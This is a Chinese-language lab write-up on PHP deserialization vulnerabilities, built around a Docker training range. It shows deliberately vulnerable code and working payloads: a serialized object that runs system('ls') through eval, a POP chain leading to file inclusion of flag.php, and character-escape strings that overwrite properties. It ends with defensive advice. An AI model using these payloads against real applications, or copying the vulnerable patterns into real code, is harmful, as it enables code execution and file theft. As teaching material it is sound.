PHP反序列化靶场通关记录-1
字数 1489 2025-08-11 00:08:50

PHP反序列化漏洞实战教学文档

一、环境配置

1.1 靶场搭建

使用Docker快速搭建橙子科技反序列化靶场环境:

sudo docker pull mcc0624/ser:1.8
sudo docker run -p 8080:80 -d mcc0624/ser:1.8

访问http://localhost:8080验证是否搭建成功。

二、基础反序列化漏洞

2.1 示例代码分析

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar();
?>

2.2 漏洞原理

  • unserialize()直接反序列化未过滤的用户输入
  • 攻击者可以控制类成员变量$a的值
  • eval()函数执行$a中的PHP代码

2.3 利用方法

构造恶意序列化数据:

<?php
class test{
    public $a = "system('ls');";
}
echo serialize(new test());
?>

输出结果:

O:4:"test":1:{s:1:"a";s:13:"system('ls');";}

注意:eval函数接收的PHP代码必须以分号结尾。

三、POP链构造

3.1 POP链构造思路

  1. 从链尾开始追溯(通常是危险函数)
  2. 寻找可以利用的入口点
  3. 连接各魔术方法形成完整调用链

3.2 常用魔术方法

  • 入口方法__wakeup, __construct, __destruct, __toString
  • 链中方法__toString, __get/set, __invoke, __call
  • 链尾方法file_get_contents, highlight_file, system, exec, eval, assert

3.3 示例分析

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);

class Modifier {
    private $var;
    public function append($value) {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}

3.4 POP链构造流程

  1. Modifier::append()存在文件包含漏洞,目标是控制$value='flag.php'
  2. Modifier::__invoke()调用append(),需控制$var="flag.php"
  3. Test::__get()调用$function(),若$functionModifier对象,触发__invoke
  4. Show::__toString()访问$this->str->source,若$this->strTest对象且source不存在,触发__get
  5. Show::__wakeup()echo $this->source,若$this->sourceShow对象,触发__toString

3.5 构造Payload

<?php
class Modifier{
    private $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}

$m = new Modifier();
$t = new Test();
$t->p = $m;
$s = new Show();
$s->str = $t;
$s->source = $s;
echo serialize($s);
?>

最终Payload(注意%00的URL编码):

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

四、字符逃逸漏洞

4.1 字符减少型逃逸

示例代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '123';
    public function __construct($arga,$argc){
        $this->v1 = $arga;
        $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

漏洞原理

  • 每次替换system()为空字符串,逃逸8个字节
  • PHP反序列化根据字符数标识识别值,可造成错位

利用方法

需要逃逸17个字符:

  • v1=system()system()system()(逃逸24字节)
  • v2=1111111";s:2:"v2";s:1:"1";}(7个1作为填充)

最终v2被覆盖为1

4.2 字符增加型逃逸

示例代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $v1 = 'ls';
    public $v2 = '123';
    public function __construct($arga,$argc){
        $this->v1 = $arga;
        $this->v2 = $argc;
    }
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
?>

漏洞原理

  • 每次替换lspwd,逃逸1个字节
  • 同样利用反序列化字符串解析机制

利用方法

需要逃逸22个字符:

  • v1=ls重复22次
  • v2=1(实际会被覆盖)
  • 构造";s:2:"v2";s:3:"abc";}部分

最终v2被覆盖为abc

五、防御措施

  1. 避免反序列化用户输入:不要将用户可控数据直接传递给unserialize()
  2. 使用白名单验证:对反序列化的类进行严格限制
  3. 签名验证:对序列化数据进行签名验证
  4. 替代方案:使用JSON等更安全的序列化格式
  5. 魔术方法审查:谨慎实现__wakeup__destruct等魔术方法

六、总结

PHP反序列化漏洞的核心在于:

  1. 可控的序列化数据输入
  2. 存在危险的魔术方法调用链
  3. 字符逃逸导致的解析错位

通过理解这些原理,可以更好地挖掘和防御此类漏洞。

PHP反序列化漏洞实战教学文档 一、环境配置 1.1 靶场搭建 使用Docker快速搭建橙子科技反序列化靶场环境: 访问 http://localhost:8080 验证是否搭建成功。 二、基础反序列化漏洞 2.1 示例代码分析 2.2 漏洞原理 unserialize() 直接反序列化未过滤的用户输入 攻击者可以控制类成员变量 $a 的值 eval() 函数执行 $a 中的PHP代码 2.3 利用方法 构造恶意序列化数据: 输出结果: 注意 :eval函数接收的PHP代码必须以分号结尾。 三、POP链构造 3.1 POP链构造思路 从链尾开始追溯(通常是危险函数) 寻找可以利用的入口点 连接各魔术方法形成完整调用链 3.2 常用魔术方法 入口方法 : __wakeup , __construct , __destruct , __toString 链中方法 : __toString , __get/set , __invoke , __call 链尾方法 : file_get_contents , highlight_file , system , exec , eval , assert 等 3.3 示例分析 3.4 POP链构造流程 Modifier::append() 存在文件包含漏洞,目标是控制 $value='flag.php' Modifier::__invoke() 调用 append() ,需控制 $var="flag.php" Test::__get() 调用 $function() ,若 $function 为 Modifier 对象,触发 __invoke Show::__toString() 访问 $this->str->source ,若 $this->str 为 Test 对象且 source 不存在,触发 __get Show::__wakeup() 中 echo $this->source ,若 $this->source 为 Show 对象,触发 __toString 3.5 构造Payload 最终Payload(注意 %00 的URL编码): 四、字符逃逸漏洞 4.1 字符减少型逃逸 示例代码 漏洞原理 每次替换 system() 为空字符串,逃逸8个字节 PHP反序列化根据字符数标识识别值,可造成错位 利用方法 需要逃逸17个字符: v1=system()system()system() (逃逸24字节) v2=1111111";s:2:"v2";s:1:"1";} (7个1作为填充) 最终 v2 被覆盖为 1 4.2 字符增加型逃逸 示例代码 漏洞原理 每次替换 ls 为 pwd ,逃逸1个字节 同样利用反序列化字符串解析机制 利用方法 需要逃逸22个字符: v1=ls 重复22次 v2=1 (实际会被覆盖) 构造 ";s:2:"v2";s:3:"abc";} 部分 最终 v2 被覆盖为 abc 五、防御措施 避免反序列化用户输入 :不要将用户可控数据直接传递给 unserialize() 使用白名单验证 :对反序列化的类进行严格限制 签名验证 :对序列化数据进行签名验证 替代方案 :使用JSON等更安全的序列化格式 魔术方法审查 :谨慎实现 __wakeup 、 __destruct 等魔术方法 六、总结 PHP反序列化漏洞的核心在于: 可控的序列化数据输入 存在危险的魔术方法调用链 字符逃逸导致的解析错位 通过理解这些原理,可以更好地挖掘和防御此类漏洞。